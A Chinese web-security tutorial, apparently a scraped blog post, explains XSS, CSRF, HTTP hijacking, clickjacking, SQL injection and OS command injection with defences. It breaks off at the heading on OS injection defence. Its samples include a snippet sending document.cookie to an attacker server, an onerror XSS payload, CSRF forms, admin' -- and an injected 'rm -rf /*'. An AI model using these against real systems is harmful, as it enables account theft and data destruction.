寫在前面:web安全在當下是個不可避免的問題,想要完成一個「安全」的產品,須要先後端都作好抵禦攻擊和安全隱患的防禦,這裏筆者就前端安全的方面作一個較爲全面的攻略以待備用。javascript
##爲何要攻擊html
這裏引用一位大牛的話:開發者不可能確保本身的應用絕對沒法被攻擊,可是隻要攻擊咱們的時候,黑客花費的成本遠比他要能夠獲取的利益大得多,黑客就不會去攻擊。總而言之,提升咱們產品的安全係數,雖然不能作到「絕對」,但起碼能「很安全」。 ##前端攻擊都有哪些形式前端
###1:XXS攻擊 ####1.1 是什麼 百度百科的定義是:XSS是一種常常出如今web應用中的計算機安全漏洞,它容許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。所以咱們能夠直接理解爲一種javascript代碼注入。根據攻擊的來源,XSS 攻擊可分爲存儲型、反射型和DOM 型三種。 **那如何實現代碼注入呢?**咱們知道,當瀏覽器遇到html中的script標籤的時候,會解析並執行標籤中的js腳本代碼,那麼若是有心者在可輸入框中輸入含有script標籤的話,就能夠執行其中的代碼了。 場景以下:java
存儲型
反射型
DOM 型
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script> </head> <body> <input type="text" name="aa" id="aa" onchange="dochange()"/> <div id="text"></div> <script> let value = ''; dochange = () => { value = document.getElementById("aa").value; $('div').html(value); } </script> </body> </html> 複製代碼
$.ajax({ url: '本身的服務器', dataType: 'jsonp', data: {'盜取的用戶cookie': document.cookie} }); 複製代碼
此類情況的解決方式 1.1.1 如何解決 1:將script標籤的左右尖括號(><)進行轉義再賦值。 2:經過前端輸入判斷禁止特殊字符的鍵入。 3:使用$.text()方法來動態賦值。 ##1.2 img標籤的注入 用戶分享圖片的正常狀況下,咱們會給img的src附上一個url地址做爲圖片的資源,可是若是咱們附上的地址爲\" onerror=\"javascript:alert('error');\"時,將會執行onerror裏的方法。這就引起了注入的攻擊。 1.1.2 如何解決 如1.1.1,對圖片地址再進行轉義。 ##1.3 url的注入 可能存在這樣的場景,就是有時候編程人員會直接從url獲取某些值做爲變量輸入,可是,這裏面存在一個風險,若是有心者在URL的這個參數中,加入js代碼,這樣便又會被執行。 場景以下:react
\" onerror=\"javascript:alert('error');\"
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script> </head> <body> <input type="text" name="aa" id="aa" onchange="dochange()"/> <div id="text"></div> <script> let value = ''; var param = window.location.search.split("?"); value = decodeURI(param[1]); $('div').html(value); </script> </body> </html> 複製代碼
1.1.3 如何解決 像這種從url中獲取的信息,筆者建議,最好由後端獲取,在前端轉義後再行輸出。避免直接從url上面讀取。另外連接跳轉,如 <a href="xxx" 或 location.href="xxx",要檢驗其內容,禁止以 javascript: 開頭的連接,和其餘非法的 scheme ###1.4 保護好cookie 若是道高一尺,仍是不幸被攻擊者攻擊了,又該如何。其實,不少時候,咱們的敏感信息都是存儲在cookie中的(因此不要把用戶機密信息放在網頁中),想要阻止黑客經過js訪問到cookie中的用戶敏感信息。那麼請使用cookie的HttpOnly屬性,加上了這個屬性的cookie字段,js是沒法進行讀寫的,只能從後端獲取。(好像只能經過後端的方式來設置) ###1.5 設置內容安全策略 CSP其實就是一個白名單策略,容許的域才能加載,其餘一概拒絕。 使用CSP有兩種模式:meta設置和http響應頭設置 meta設置jquery
meta設置
http響應頭設置
CSP指令集合: 空 // 不作限制 'none' // 不容許任何內容 'self' // 容許同源(協議/域名/端口) data // data協議,如base64的圖片 binnie.qq.com // 指定域名 *.qq.com // 指定某個域 binnie.qq.com // 指定協議域名 https: // 容許https 'unsafe-inline' // 容許加載inline資源 'unsafe-eval' // 容許動態js,如eval()git
##2 CSRF攻擊 ###2.1 CSRF攻擊是什麼 CSRF(Cross-site request forgery)跨站請求僞造,也被稱爲「One Click Attack」。簡單得說就是網站中的一些提交行爲和信息,被黑客利用,你在訪問黑客的網站的時候,進行的操做,會被操做到其餘網站上。 ###2.2 get請求式攻擊 這種方式的攻擊在jsonp型的接口裏很常見。因爲jquery的jsonp方式能夠跳過客戶端的同源策略跨域請求jsonp;github
<img src="http://bank.example/withdraw?amount=10000&for=hacker" > 複製代碼
在受害者訪問含有這個img的頁面後,瀏覽器會自動向http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker發出一次HTTP請求。bank.example就會收到包含受害者登陸信息的一次跨域請求。 ###2.3 post請求式攻擊 這種類型的CSRF利用起來一般使用的是一個自動提交的表單,如:web
http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker
<form action="http://bank.example/withdraw" method=POST> <input type="hidden" name="account" value="xiaoming" /> <input type="hidden" name="amount" value="10000" /> <input type="hidden" name="for" value="hacker" /> </form> <script> document.forms[0].submit(); </script> 複製代碼
當用戶打開安全網站後,在信息驗證有效期內訪問攻擊網站的時候,表單會自動提交,至關於模擬用戶完成了一次POST操做。 ###2.4 CSRF特色ajax
總之,CSRF一般是跨域的,由於外域一般更容易被攻擊者掌控。可是若是本域下有容易被利用的功能,好比能夠發圖和連接的論壇和評論區,攻擊能夠直接在本域下進行,這樣就跨過同源策略,致使更容易受到CSRF攻擊。 ###2.5 CSRF防護 1:同源檢測 後端可使用Referer Header肯定來源域名。由於根據HTTP協議,在HTTP頭中有一個字段叫Referer,記錄了該HTTP請求的來源地址。對於Ajax請求,圖片和script等資源請求,Referer爲發起請求的頁面地址。對於頁面跳轉,Referer爲打開頁面歷史記錄的前一個頁面地址。可是這種方法並不是萬無一失,Referer的值是由瀏覽器提供的,並不能保證瀏覽器自身沒有安全漏洞。使用驗證 Referer 值的方法,就是把安全性都依賴於第三方(即瀏覽器)來保障。並且在部分狀況下,攻擊者能夠隱藏,甚至修改本身請求的Referer。 2:CSRF Token 首先,當用戶打開頁面的時候,服務器須要給這個用戶生成一個Token,該Token經過加密算法對數據進行加密,通常Token都包括隨機字符串和時間戳的組合。所以,爲了安全起見Token最好仍是存在服務器中,在頁面提交的請求攜帶這個Token,而後經過服務器驗證Token是否正確。當用戶從客戶端獲得了Token,再次提交給服務器的時候,服務器須要判斷Token的有效性,驗證過程是先解密Token,對比加密字符串以及時間戳,若是加密字符串一致且時間未過時,那麼這個Token就是有效的。 3:添加驗證碼 在必要的且信息敏感的使用場景中加入驗證碼操做來驗證用戶信息。 ##3:HTTP劫持 3.1 什麼是HTTP劫持 HTTP劫持是在使用者與其目的網絡服務所創建的專用數據通道中,監視特定數據信息,提示當知足設定的條件時,就會在正常的數據流中插入精心設計的網絡數據報文,目的是讓用戶端程序解釋「錯誤」的數據,並以彈出新窗口的形式在使用者界面展現宣傳性廣告或者直接顯示某網站的內容。————百度百科 其實除了HTTP劫持以外還有DNS劫持,只是已經被嚴管了,發生的機率較小。 3.2 劫持分類 按照劫持的方法不一樣,將劫持分爲下面兩類: **跳轉型劫持:**用戶輸入地址A,可是跳轉到地址B **注入型劫持:**有別於跳轉型型劫持,指經過在正常的網頁中注入廣告代碼(js、iframe等),實現頁面彈窗提醒或者底部廣告等,又分爲下面三個小類: 注入js類劫持:在正常頁面注入劫持的js代碼實現的劫持 iframe類劫持:將正常頁面嵌入iframe或者頁面增長iframe頁面 篡改頁面類劫持:正常頁面出現多餘的劫持網頁標籤,致使頁面總體大小發生變化 3.3 防護劫持 1:使用HTTPS ,由於https 加了SSL協議,會對數據進行加密。 2:在開發的網頁中加入代碼過濾,利用JavaScript代碼檢查全部的外鏈是否屬於白名單。例如在window 監聽 DOMNodeInserted 事件,上報插入的dom、分析插入的dom 信息。(一般匹配全部的url,逐個比較是否白名單域名,若是不是,則斷定爲劫持,上報的同時,移除dom.parentNode.removeChild(dom)); ##4:點擊劫持 ###4.1:什麼是劫持 點擊劫持是一種視覺欺騙的攻擊手段。攻擊者將須要攻擊的網站經過 iframe 嵌套的方式嵌入本身的網頁中,並將 iframe 設置爲透明,在頁面中透出一個按鈕誘導用戶點擊。好比,用戶在登錄 A 網站的系統後,被攻擊者誘惑打開第三方網站,而第三方網站經過 iframe 引入了 A 網站的頁面內容,用戶在第三方網站中點擊某個按鈕(被裝飾的按鈕),其實是點擊了 A 網站的按鈕。 ###4.2 如何防護 設置X-FRAME-OPTIONS X-FRAME-OPTIONS是一個 HTTP 響應頭,在現代瀏覽器有一個很好的支持。這個 HTTP 響應頭 就是爲了防護用 iframe 嵌套的點擊劫持攻擊。 該響應頭有三個值可選,分別是
X-FRAME-OPTIONS
DENY
SAMEORIGIN
ALLOW-FROM
SQL注入
<form action="/login" method="POST"> <p>Username: <input type="text" name="username" /></p> <p>Password: <input type="password" name="password" /></p> <p><input type="submit" value="登錄" /></p> </form> 複製代碼
後端的 SQL 語句多是以下這樣的:
let querySQL = ` SELECT * FROM user WHERE username='${username}' AND psw='${password}' `; 複製代碼
若是有一個惡意攻擊者輸入的用戶名是 admin' --,密碼隨意輸入,就能夠直接登入系統了,由於
admin' --
SELECT * FROM user WHERE username='admin' --' AND psw='xxxx' 複製代碼
在 SQL 中,' --是閉合和註釋的意思,--是註釋後面的內容的意思,因此查詢語句就變成了:
' --
--
SELECT * FROM user WHERE username='admin' 複製代碼
因此,一次SQL注入的過程包括如下幾個過程:
1.獲取用戶請求參數 2.拼接到代碼當中 3.SQL語句按照咱們構造參數的語義執行成功 SQL注入的本質:數據和代碼未分離,即數據當作了代碼來執行。
###5.3:SQL注入防護 1:嚴格限制Web應用的數據庫的操做權限,給此用戶提供僅僅可以知足其工做的最低權限,從而最大限度的減小注入攻擊對數據庫的危害 2:後端代碼檢查輸入的數據是否符合預期,嚴格限制變量的類型,例如使用正則表達式進行一些匹配處理。 3:對進入數據庫的特殊字符(',",\,<,>,&,*,; 等)進行轉義處理,或編碼轉換。 4:全部的查詢語句建議使用數據庫提供的參數化查詢接口,參數化的語句使用參數而不是將用戶輸入變量嵌入到 SQL 語句中,即不要直接拼接 SQL 語句。 ##6:OS注入 ###6.1:OS注入是什麼 OS注入和SQL注入相似,OS命令注入是針對操做系統的攻擊。OS命令注入攻擊指經過Web應用,執行非法的操做系統命令達到攻擊的目的。只要在能調用Shell函數的地方就有存在被攻擊的風險。假若調用Shell時存在疏漏,就能夠執行插入的非法命令。由於命令注入攻擊能夠向Shell發送命令,讓Windows或Linux操做系統的命令行啓動程序。也就是說,經過命令注入攻擊可執行操做系統上安裝着的各類程序。 ###6.2:OS注入攻擊過程 假如須要實現一個需求:用戶提交一些內容到服務器,而後在服務器執行一些系統命令去返回一個結果給用戶
// 以 Node.js 爲例,假如在接口中須要從 github 下載用戶指定的 repo const exec = require('mz/child_process').exec; let params = {/* 用戶輸入的參數 */}; exec(`git clone ${params.repo} /some/path`); 複製代碼
params.repo傳入的是 https://github.com/admin/admin.github.io.git 確實能從指定的 git repo 上下載到想要的代碼。 可是若是 params.repo 傳入的是 https://github.com/xx/xx.git && rm -rf /* &&剛好你的服務是用 root 權限起的就糟糕了。 ###6.3:OS注入防護
params.repo
https://github.com/admin/admin.github.io.git
https://github.com/xx/xx.git && rm -rf /* &&